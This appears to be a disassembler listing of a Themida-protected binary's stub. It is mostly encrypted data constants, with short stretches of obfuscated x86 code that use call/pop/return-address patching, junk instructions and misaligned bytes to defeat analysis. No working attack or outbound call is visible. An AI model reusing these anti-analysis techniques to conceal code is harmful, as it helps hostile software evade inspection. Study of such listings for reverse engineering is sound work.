		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h
		dd 0B05346D4h, 0F9B60933h, 0BE8h, 7BC77400h, 608E0F72h
		dd 0E3589527h, 858D5FF9h, 7FE4FA2h, 10E95090h, 0BA000000h
		dd 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 90070B67h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2C35242h, 72B57239h
		dd 64ED54F9h, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B59A0C3h, 0FA1CE19Dh
		dd 25896407h, 0
		dd 7E8h, 91D2A000h, 0E860E99Ch,	1C9D9D8Bh, 0FF5F07FAh
		dd 0FA312585h, 999D8907h, 6A07FA31h, 22BB66FFh,	0C5B5FFD0h
		dd 6A07FA28h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 6F70C357h, 2759E539h, 0DF816684h
		dd 8166542Dh, 0E91374E3h, 12h, 0B6D39A7h, 9551E495h, 0C64727A2h
		dd 46EB5FC3h, 95FF0678h, 7FA018Dh, 10EE9h, 0D3BF6600h
		dd 6000B069h, 6860Fh, 870F0000h, 0
		dd 70E661FCh, 8BFE8B66h, 0FA09D5BDh, 8971E407h,	0FA1B4985h
		dd 0F613C07h, 0DE83h, 7FCB8000h, 89C8B60Fh, 0FA054D85h
		dd 0ED9D3107h, 0BA07FA1Dh, 6, 1241B589h, 8B6607FAh, 31C18BD9h
		dd 0FA196995h, 4E8C107h, 0FCE2F766h, 0B6BBC82Bh, 8B01C67Ch
		dd 0DF80D1h, 2E9h, 8BF98B00h, 0FA028185h, 29BD2907h, 8307FA0Dh
		dd 11E907C0h, 39000000h, 0E6B4FFD4h, 0DC26287Dh, 547AA39Fh
		dd 8F3E6714h, 0E800C083h, 10h, 794527D0h, 97786D54h, 19B5A3D0h
		dd 0B4EA17Eh, 5BDE8B66h, 830FD03Bh, 1Ch, 3431B531h, 48E907FAh
		dd 8B000000h, 0FA34799Dh, 9D316007h, 7FA0201h, 61D6BF0Fh
		dd 114D8D8Bh, 8C0F07FAh, 0
; ---------------------------------------------------------------------------
		and	ecx, 1
		jz	loc_5F476B
		cld
		and	dword ptr [ebp+7FA114Dh], 0FFFFFFFEh
		jnz	loc_5F475D
		mov	[ebp+7FA311Dh],	eax


loc_5F475D:				; CODE XREF: Themida_:005F4751j
		mov	[ebp+7FA0281h],	edx
		movzx	ebx, di
		jmp	$+5


loc_5F476B:				; CODE XREF: Themida_:005F4743j
		lea	esi, [ebp+7FEAD63h]
		push	0
		push	eax
		call	sub_5F477C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F477C	proc near		; CODE XREF: Themida_:005F4774p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5F477C	endp

; ---------------------------------------------------------------------------
		leave
		xor	eax, 3E859BB5h
		sbb	eax, 852967ABh
		adc	ds:6A07FAh, esi
		push	0
		push	esi
		call	sub_5F47A8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F47A8	proc near		; CODE XREF: Themida_:005F47A0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5F47A8	endp

; ---------------------------------------------------------------------------
		movsb
		fmul	dword ptr [ecx]
		mov	ebp, 7FA0A29h
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	edi
		call	sub_5F47D1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F47D1	proc near		; CODE XREF: Themida_:005F47C9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5F47D1	endp

; ---------------------------------------------------------------------------
		fcomip	st, st(7)
		or	cl, bl
		mov	bx, si
		jbe	loc_5F47F4
		mov	ebx, [ebp+7FA10C1h]


loc_5F47F4:				; CODE XREF: Themida_:005F47E8j
		mov	ecx, 7CEh
		mov	bl, 2Ch
		mov	ebx, [ebp+7FA2E5Dh]
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebx
		call	sub_5F480F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F480F	proc near		; CODE XREF: Themida_:005F4807p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5F480F	endp

; ---------------------------------------------------------------------------
		db 32h
; ---------------------------------------------------------------------------
		pop	esp
		cld
		push	0
		push	edx
		call	sub_5F482D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F482D	proc near		; CODE XREF: Themida_:005F4825p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5F482D	endp

; ---------------------------------------------------------------------------
		db 8Fh,	2Dh, 0B8h
; ---------------------------------------------------------------------------
		scasb
		pop	es
		jmp	loc_5F4854
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DF3750B4h, 3029C6CDh, 0D0391007h
; ---------------------------------------------------------------------------


loc_5F4854:				; CODE XREF: Themida_:005F4842j
		sub	eax, eax
		push	0
		push	ebp
		call	sub_5F4861
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F4861	proc near		; CODE XREF: Themida_:005F4859p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5F4861	endp

; ---------------------------------------------------------------------------
		db 64h,	33h, 7Dh
		dd 18AA5153h, 53F2FC77h, 0F5F5B53h, 18Fh, 0BAF800h, 50000000h
		dd 0E9858B60h, 6607FA18h, 0EB6FF381h, 33AD5F61h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0BE0F22C3h, 19B73336h, 6830Fh, 0BD8B0000h
		dd 7FA17F9h, 6AF8BF0Fh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 8A81C352h, 0D4831CE4h
		dd 8981DBC9h, 0FA0489BDh, 880D07h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0AD9C75C3h
		dd 44B17EA9h, 0E95DFE3Fh, 0Fh, 9C4440DAh, 0CC081F12h, 9C2E2C43h
		dd 8B5CA1FCh, 0FA27C195h, 0DFE7BF07h, 8D8B6C97h, 7FA1C01h
		dd 0F99D8Bh, 0B70F07FAh, 0C28B50D9h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 1267C350h, 6623E7A8h
		dd 448BE381h, 741BD83h,	0F0007FAh, 5384h, 31858900h, 0B807FA0Dh
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5F49BE
; ---------------------------------------------------------------------------
		db 0A3h, 71h, 6Eh
		dd 0FC3159E7h, 0A0C16C64h, 0EF056D3Bh
		db 0F5h, 0B5h
; ---------------------------------------------------------------------------


loc_5F49BE:				; CODE XREF: Themida_:005F49A8j
		lea	ecx, [ebp+7FA4F53h]
		mov	bx, 61CDh
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5F49D5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F49D5	proc near		; CODE XREF: Themida_:005F49CDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5F49D5	endp

; ---------------------------------------------------------------------------
		idiv	dword ptr [edi]
		retf
; ---------------------------------------------------------------------------
		dd 75BF39F5h, 0FC6E5D7Dh, 1AEDBD83h, 0F0007FAh,	45584h
		dd 5E800h, 1E480000h, 5F3A9EFFh, 1AEDBD83h, 0F0107FAh
		dd 45884h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E9C2E2C1h, 12h, 968E6DFAh, 0AD41E226h
		dd 2F06917Ch, 9522C066h, 0BB3A935h, 1AEDBD83h, 0F0307FAh
		dd 3DE86h, 6DBD8B00h, 6007FA34h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 7C35646h, 8C66F553h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 4E180B6h, 0AB2E380h,	66840FC9h, 89000001h, 0FA208995h
		dd 0D5858B07h, 6A07FA17h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 366AC350h, 0C683C607h
		dd 14166A77h, 12E9h, 51AC700h, 93AC5D16h, 1DA093EFh, 7D2298EDh
		dd 33B1ED0Ch, 0FA1A4185h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0B20379CAh
		dd 0A298589h, 8B9007FAh, 870F50DAh, 4, 1BC7BB66h, 8E990h
		dd 958C0000h, 90E28FFFh, 6A74FDh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0AAC35747h,	9CE39AF4h, 0FFF5483h
		dd 58Ah, 0DF816600h, 0E068F9EEh, 501542A0h, 12E852h, 0C8130000h
		dd 2E5CF9AAh, 0C005740Ch, 1E3E94CBh, 4E96815h, 13E9h, 0B0C37100h
		dd 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h, 0B86B47B2h, 5A310F5Fh
		dd 24348158h, 155DA31Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0A2C35747h, 75C4BDFBh, 3CFCA92Bh, 8B6060CFh
		dd 0FA091595h, 0EA816607h, 16117A1h, 0FA059595h, 9D296107h
		dd 7FA32E9h, 178595FFh,	810F07FAh, 8, 698D2950h, 5B07FA02h
		dd 7BF88589h, 0E9F807FEh, 1ABh,	34DF8166h, 0F0858BE1h
		dd 0E907FE7Bh, 5, 0F92BE5A3h, 1800C773h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B07C357h, 0B19D2BF8h, 8B07FA28h, 0FE7BF4B5h, 8BFB8B07h
		dd 0FA06E185h, 48CF8107h, 891A69AFh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 9F03D4EDh
		dd 23F58589h, 516007FAh, 810Fh,	0E95F0000h, 0Eh, 0DB2B4F4Dh
		dd 0C784504Bh, 78630C4Bh, 8B61E13Dh, 0FA17D585h, 0F88B6607h
		dd 6A044689h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 89E1C356h, 8171A916h, 0F8616E7h
		dd 8B669621h, 860F50DFh, 2, 6A96FB8Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0E6A4C353h
		dd 4BA5DBADh, 0FFE7E380h, 0FE7BF0B5h, 31BD0307h, 6807FA12h
		dd 0B76D501Fh, 188E0Fh,	13E90000h, 0EF000000h, 29A4FE74h
		dd 6BC3B2F6h, 0D2CD3334h, 827AD95Ch, 4811FF2h, 0B1B3E024h
		dd 52006A48h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 597F66A4h, 0F20AB2BFh, 0C1BD8B04h, 8D07FA2Ah
		dd 0FE7BF885h, 5050F807h, 14E9h, 0C3D90700h, 0E3FB2898h
		dd 8A3CC90Fh, 6F0A0351h, 3DF0ECB3h, 4895F29h, 95FFF824h
		dd 7FA1785h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0C9C35747h, 299D8938h, 6107FA26h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 0D7C35646h, 936610CEh
		dd 127E98C9h, 0FD850199h, 0E907FA1Dh, 7, 86857365h, 0C7820309h
		dd 0FA1AED85h, 307h, 15958900h,	0B07FA1Ah, 0FA193D9Dh
		dd 0F8BD8307h, 7FE7Bh, 25840Fh,	0BD2B0000h, 7FA2BDDh, 35E9h
		dd 8E800h, 0BA510000h, 66B06021h, 85896733h, 7FA32DDh
		dd 0E5B5015Fh, 5007FA32h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6660C08Bh, 5A4EE381h, 11D9B533h
		dd 6A6107FAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0AF90C350h, 73AA7A31h,	0BD83FCC0h
		dd 7FA1AEDh, 4E850F03h,	8B000004h, 0F8BD83DAh, 7FE7Bh
		dd 43F840Fh, 0ABB30000h, 9375BB66h, 7BF8B5FFh, 6A07FEh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 28D711C3h, 8937D8A0h, 0FA18B195h, 4D95FF07h,	6A07FA01h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4A66C351h, 0F50500Ch, 58Ch, 0D3816600h, 0BF5B85D9h
		dd 4EAF2480h, 0B58BF88Bh, 7FE7BECh, 1861BD29h, 6C707FAh
		dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	23C35343h, 8A606096h, 615952F7h, 0EAE2D0BFh, 0BB506160h
		dd 71FF4519h, 0EB816696h, 0B5FF72A0h, 7FE7BF8h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A3C35646h, 0DC5F5EA3h
		dd 34DB589h, 95FF07FAh,	7FA161Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 16C35343h, 78F001h,	5E94Ah
		dd 675C0000h, 8BA26276h, 0FE7BECB5h, 0EF816607h, 858B6FF1h
		dd 7FA0B09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0D7C35343h, 65958998h, 8B07FA18h, 0C48689F8h, 0E8000000h
		dd 11h,	213033C9h, 7B00CFFEh, 0BDB95495h, 1CFD288Ah, 0CB81526Ah
		dd 231C8694h, 9D8B5B5Bh, 7FA13C5h, 27C1958Bh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0E9DCB8C3h, 13E953A0h, 0E9000000h, 0AFB2EA12h, 1B59A143h
		dd 7B5C14FBh, 0FE0BA0F1h, 895F6371h, 0FA10CD85h, 4C28307h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C7C35545h
		dd 2418509h, 89F807FAh,	6A2050h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8D0BF5C3h, 0FE90A385h
		dd 0A195BF07h, 8689375Dh, 0B8h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 9EC35141h, 6AAACFC8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0AC5E479h, 7BF8B5FFh, 0BD8B07FEh, 7FA08E9h, 1EF995FFh
		dd 0BD8B07FAh, 7FA1125h, 0DA8B6696h, 0DE8B6650h, 0A1850996h
		dd 0FF07FA14h, 0FE7BF8B5h, 858B6007h, 7FA1939h,	16118D8Bh
		dd 0FF6107FAh, 0FA076595h, 8379B707h, 0FA1EC5BDh, 840F0007h
		dd 6Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 65C35343h, 3501BD33h, 0F9607FAh, 387h, 0DA8B6600h, 0EBBB6650h
		dd 6A96B7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 858916C3h, 7FA33D1h, 13E951h, 0B0F80000h
		dd 4B12306Eh, 5CBE75E9h, 0D8643805h, 52AB022Bh,	0B5FF5B8Ch
		dd 7FE7BF8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 99C35343h
		dd 0F19D8B72h, 0F07FA1Ah, 95FFDAB7h, 7FA18F5h, 6820Fh
		dd 0C7810000h, 266C9806h, 0AE90BF66h, 7BF8B5FFh, 9D2B07FEh
		dd 7FA2921h, 1EB195FFh,	6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 885E62C3h, 81664594h
		dd 8395BDCFh, 0FA26F5BDh, 840F0207h, 87h, 18850Fh, 13E90000h
		dd 4F000000h, 0B5419A22h, 502E388Fh, 0BCA851E1h, 16CE45AAh
		dd 0BD8B5E10h, 7FA03ADh, 1419858Bh, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A06806C3h
		dd 74D9D89h, 0C607FAh, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 4750A477h, 7C0383D9h
		dd 6820FEFh, 8B000000h,	0FA20359Dh, 31958907h, 0C707FA1Fh
		dd 0FA05B185h, 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0F2E9E905h, 6AFFFFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 192A01C3h, 0C18BC485h, 0E943D380h, 29h, 5CBC5BF8h, 9	dup(0)
		dd 0C53E900h, 6C640000h, 90423ED4h, 435A966Ch, 9C3539C9h
		dd 7A549C66h, 648E38CAh, 0B45EE6F0h, 120000CCh,	0AF63E1EEh
		dd 8FA04CFh, 48577B41h,	0A1C25EECh, 7D2AFC3h, 0BF1428AAh
		dd 0D1735D01h, 52623EC6h, 1ECA8A03h, 0CA5D5607h, 85815360h
		dd 6E8AFDF0h, 0FE25D160h, 57CA5E1Fh, 5337794Ah,	5E20706Fh
		dd 8FF8C9CAh, 0B71F3B03h, 0B9DE678Dh, 0F3DF0CC7h, 0CA5E1FECh
		dd 90347C45h, 0CA5E2091h, 0C6EAD9EAh, 6BC6ECFEh, 5D8C5887h
		dd 0B420B1CAh, 6A640999h, 42911ADAh, 0CBA755h, 0D81C26ABh
		dd 9480844Fh, 0A6D5CCF8h, 522ECA5Dh, 2B557E86h,	0CB64A0A2h
		dd 9B16BCBCh, 7B3A130Ch, 83FC3F97h, 213D8350h, 2C458FB5h
		dd 0BE632DF2h, 5C780493h, 4733D173h, 0CD8F758Fh, 24B69356h
		dd 0F6F3E07Ch, 4CD27DDh, 0BE1DC8CFh, 4EF6E27Eh,	63A19B32h
		dd 10BBBDCAh, 0A0E8F7DBh, 5C53CA5Dh, 8C85399Bh,	279C258Dh
		dd 0F6F23989h, 24E4FBE7h, 743DCA5Dh, 7FB5C960h,	0DAB67A18h
		dd 5D83F7EEh, 44C00ECAh, 0F6CBE7C0h, 89666F91h,	0A020B349h
		dd 12F212BCh, 0FCC44E39h, 29CB7560h, 0CC09F7A0h, 6B58EAE3h
		dd 94AE2945h, 19D7903h,	5D83CED5h, 0ED9A27CAh, 4840C10Bh
		dd 0AAD63F21h, 0E7B7F9CAh, 0EA1B2676h, 0B3513664h, 10F40EC7h
		dd 9C58E8E4h, 6BCDD400h, 9D26CA5Dh, 0E76487FEh,	61714DF1h
		dd 9658C99Fh, 958C5CE5h, 0EECA5DB6h, 0B02BB2E5h, 5FE1EC90h
		dd 768F4838h, 44088265h, 9719AADCh, 44D0CFF3h, 0BB27CA5Dh
		dd 0CA5D45A4h, 0C50EB4FDh, 287838D2h, 0EBE64ABFh, 9EDAADFCh
		dd 0CBDAFE33h, 24CA5D33h, 347C448Fh, 0BE904671h, 0F9831470h
		dd 5D5A4B55h, 0D56F68CAh, 788A432Fh, 0A544BD7Ch, 636B51A8h
		dd 64140957h, 8D5C2CAh,	0D66171D1h, 74D18F5Ah, 3A35AF25h
		dd 31C3474Ah, 0F1362766h, 268A0595h, 5DACA3C2h,	0E0A7FCCAh
		dd 0CE1Fh, 0F4DD8100h, 0AC88973Bh, 0D0E1CA5Dh, 12809403h
		dd 241B4AAEh, 4C74CA5Eh, 5E2479A8h, 0D201D2CAh,	9318B3C5h
		dd 0F6BA093Bh, 0D4C3795Ah, 0C4308C28h, 0CA5E249Dh, 0A917AEF6h
		dd 8DEEA34Ah, 76A75136h, 1ACA5D61h, 0EC7D904Bh,	0C0059546h
		dd 0F410309Ch, 6CB2C5Bh, 0ED000000h, 0D7C07A91h, 646E12C5h
		dd 15BE448Dh, 555C7682h, 4E2ACA78h, 80538084h, 0A8B37040h
		dd 0B31FC94Ah, 43ECDh, 0F8A46027h, 2CC87854h, 0CE04F4A3h
		dd 0FEFEF937h, 378C3AFAh, 2CD1E1BDh, 973C05CFh,	0D1D0F4BCh
		dd 2ACA5DBBh, 0C112EE99h, 6C57D1E8h, 9E7D7C44h,	867D180Ch
		dd 42C18301h, 18B397A7h, 735FA1E6h, 1AA95B76h, 33CD08E8h
		dd 1921458Dh, 54DA1A22h, 0D2C3C743h, 1F25AD04h,	39774CE5h
		dd 1489BA15h, 71A47DBAh, 0CC659F34h, 4D5541BBh,	0D19FD5AEh
		dd 17BB054Fh, 0CA5D8F08h, 39475061h, 3BC51099h,	89442888h
		dd 0E9246278h, 467D30D5h, 0A7225AEh, 0A163E1EEh, 0EE61CB5h
		dd 2313D64Fh, 5D42A0BFh, 1BA8F9CAh, 6D7CE080h, 0E2F9E4B3h
		dd 33D1FE62h, 8ABA1464h, 15CC9E26h, 0EFDDA1Fh, 0BC1F46B2h
		dd 2B78CA5Dh, 0C212AE5Ch, 0F0265D2Bh, 13653279h, 9A2A86B8h
		dd 0DD43D89h, 0E09CEB5Bh, 2C2CE5F4h, 72305B9Fh,	0C01329A9h
		dd 0DAE913C0h, 74903E1Ah, 0D8686490h, 0C01BAA1Ch, 0A7C37393h
		dd 0DE87102Ah, 0B71F3BFBh, 2A0BFA8Dh, 1E0595ADh, 6C1C0996h
		dd 0FA8DC9DFh, 16B7Dh, 16BF9B00h, 0B54F84ECh, 6E12B2E2h
		dd 0D8C1E362h, 672CD57Eh, 814D2B5Ch, 75613D83h,	0CA5DFD6Eh
		dd 0EF8DFAC7h, 0BB27F403h, 0CA5DFDA4h, 0A11FB4FDh, 0BD3C6411h
		dd 0B7C096Ch, 0BA488571h, 8FB51E3Ah, 0B3498975h, 0DC557851h
		dd 0B9A50FDh, 0A84C70D0h, 0CA5E0579h, 2222AED2h, 0BCE30FB1h
		dd 15CA5E04h, 0D1FDFB8Ch, 0A84CF4E0h, 4B9E80Ch,	0C112CA5Eh
		dd 5BFFC112h, 9A32D24Ch, 0B1F440A9h, 0FC844F4Ah, 0FAD331D3h
		dd 0D501FD8Dh, 68A9B81Ch, 0B102CA5Dh, 0B2029E22h, 0EA5F6A44h
		dd 4B5A9E2Ah, 0A4CA5D2Fh, 0DC66710Fh, 0AC2551ABh, 4F9B1E97h
		dd 5D7D7CA3h, 0F8CCD5CAh, 7BCBD36h, 793B19A9h, 9CAE7184h
		dd 5CF50F31h, 78642067h, 7662A25Ah, 0CA78555Ch,	0B847FBF9h
		dd 4FF5E121h, 20BB8284h, 70903C20h, 0B9CCBB94h,	59585D8h
		dd 1D44B00Ch, 76CA5E18h, 0CB9D5A2Dh, 0FB000000h, 36CE485Fh
		dd 122AEA9Dh, 241B4AAEh, 0A532CA5Eh, 98E239Fh, 9B25DFF7h
		dd 9AED17BFh, 0B81A36E2h, 0C9A78084h, 3811F309h, 4BA4314Fh
		dd 0AF787C86h, 23BEE511h, 8A17CA5Eh, 0AF137739h, 0CA5E24B0h
		dd 0E285B909h, 0C7B9558Eh, 5F18BFCh, 0A0BC38CAh, 79EB0933h
		dd 7B62EFEAh, 0B06A81DDh, 9CBDE410h, 8D16CA5Dh,	788863FAh
		dd 302F935Eh, 89CA5D9Dh, 93778B38h, 28A900D2h, 6B59F212h
		dd 97CEE521h, 0BA3A89FAh, 0B16B82DEh, 630D7A53h, 0CA5DE239h
		dd 2CC87C56h, 777D8750h, 6FDCFF86h, 0ECAA69Ah, 0E4405FF7h
		dd 25AE2FF0h, 50F0EB72h, 0C759886Ch, 21B2CA5Dh,	0D8C69776h
		dd 0B69A0595h, 0DFA0E71Dh, 6, 948E1D41h, 0AE121103h, 5E241B4Ah
		dd 385F74CAh, 3977B148h, 0C22B1969h, 0AB705A75h, 3A424216h
		dd 8400873Ch, 62707D58h, 0A3C7E9DAh, 57F0142Eh,	11A8D430h
		dd 9541DD17h, 0CA5D2D8Eh, 3A96DAE7h, 0ED78EA0Ah, 0F88761EEh
		dd 0EEFD61E1h, 90F7D034h, 418C5970h, 0BF1945BFh, 1DA67F85h
		dd 6A660AA6h, 615DADDAh, 2D8A993Dh, 0CEE3CA5Dh,	0E61E26B2h
		dd 72483A4Dh, 678D8716h, 0AFCBF5DEh, 0C4DB0724h, 1DCA5D2Ch
		dd 0ECC53F94h, 9B399D9Bh, 10D2573Fh, 1A1948ACh,	6172C263h
		dd 15388C36h, 0C9CC1CE0h, 6307A91Ah, 221C56Ah, 5BC2627Eh
		dd 0AE777D46h, 6FE06D2h, 0F6A25A2Dh, 2BC9435Ah,	0ABBA1EA2h
		dd 4C2627Eh, 3D98E8AFh,	48D3C904h, 0FED521EFh, 0EBFADEC2h
		dd 44C2624Fh, 3EC4116Fh, 0F09AEDC6h, 8DA02C50h,	62503A69h
		dd 953E93C2h, 0D6DBF602h, 86824BFAh, 0A955156Fh, 8251DA1Ah
		dd 8DB7223Eh, 0D5CE82FAh, 4DC2622Eh, 492515D4h,	98AA238Ch
		dd 0B11C5C2Bh, 804D318Fh, 79751582h, 2B84515Eh,	0CA63A1A3h
		dd 8AE6CAF9h, 1AE2B54Fh, 0AFB6227Eh, 8C2622Fh, 0D36D68h
		dd 0C16E6997h, 622F0E15h, 0CA0767C2h, 9030A330h, 7A2D8340h
		dd 0EC9B6111h, 0DA6A6490h, 1E933E1Ah, 0D77094B0h, 0CF5608ECh
		dd 596C3F0Ch, 319EC282h, 2F58F113h, 0AE298651h,	0B8D33F94h
		dd 26E9AA9h, 0CB755FFBh, 32E3BBCh, 12390000h, 25DF656Eh
		dd 3107FB8Ch, 941D6B29h, 0F6CDD66Fh, 0DABAEABAh, 0BC7EA551h
		dd 0CAD7CA5Dh, 0F5446BFAh, 0AAFA96A2h, 4465533Ah, 0DD930418h
		dd 0D2575513h, 0D908ECD0h, 0F0C2634Dh, 119A5AE2h, 0CB7720B1h
		dd 796BAF6h, 16027A0Dh,	0B8149D3Ah, 0F0B93B88h,	0CEB94390h
		dd 0E51D27B2h, 98AA2549h, 0B4C4D35Ch, 8389419h,	555D39BBh
		dd 0F34A9569h, 0CEAADDA8h, 4BEE0203h, 2A488269h, 1C95D19Ah
		dd 9043D7F5h, 0B7718874h, 8FB5213Dh, 7970F375h,	0FDA1BFDCh
		dd 63DACAD9h, 0B18F23C2h, 9E01068Eh, 9E475083h,	745FFB3Bh
		dd 0F6A12ACAh, 8B35CF0Ah, 7C864B2Fh, 1A49AF78h,	31C263B3h
		dd 0CD669EA4h, 5FABDCE5h, 49304F5Fh, 0B4201AB1h, 0C7D001B2h
		dd 6FB297C6h, 6ED9E902h, 0C84537BEh, 0EAC13E49h, 0DF000000h
		dd 790817BBh, 5061C263h, 6E125547h, 0FE25D160h,	57CA5E23h
		dd 0B27B794Ah, 0BD1D9DE5h, 0DBE5EE14h, 86C0A9D3h, 67768947h
		dd 557E47ADh, 361A7642h, 7B5B699Bh, 1A1648F6h, 9EE58BFCh
		dd 354A5D37h
		dd 38766D59h, 418D4A5Dh, 4A6841C3h, 4C340E79h, 0A88183BDh
		dd 22B9951Bh, 51CC8E8h,	5E4A5D38h, 0DEBA4255h, 380F16C2h
		dd 5B684A5Dh, 389DC42Ch, 18B44A5Dh, 0BA093B95h,	92B21E3Ah
		dd 3B97D972h, 0C03F0301h, 1D9B2C29h, 5FCBFE95h,	9135E694h
		dd 4A5DEB92h, 9AEDD6EBh, 341828C3h, 47916899h, 0D71CD138h
		dd 583F08ECh, 8552AA32h, 8E95417Fh, 0E74A5DE5h,	1BC7E9DAh
		dd 0CA5DE4E4h, 0FAFC337Bh, 0A45A5C19h, 0AB2747F3h, 0E27E4291h
		dd 20A94BF1h, 75D21B77h, 36000001h, 9A34BD1Ah, 139B596Ah
		dd 0DBB08653h, 0B5E2F16Fh, 5F6E12DFh, 1861FE5h,	0FBD72F09h
		dd 522E9241h, 2E0A7D87h, 9BCA2E92h, 0F4CA5E24h,	7640B8DFh
		dd 25D2583Bh, 4C778D49h, 59700CA8h, 0FB8C25DFh,	231D2FDh
		dd 0F630C7F7h, 909F35FEh, 0B10FC4C9h, 76BAE90Dh, 0BE13C263h
		dd 9A3539D9h, 804ED769h, 607368FDh, 6C2C30A4h, 0EAAC263h
		dd 0A2DE6672h, 0DE871034h, 0B61F3BFBh, 0D2FDFB8Ch, 0E5409030h
		dd 0A601DC53h, 0CB1DF5D0h, 1B2593F9h, 3E221E6Ch, 0BB947094h
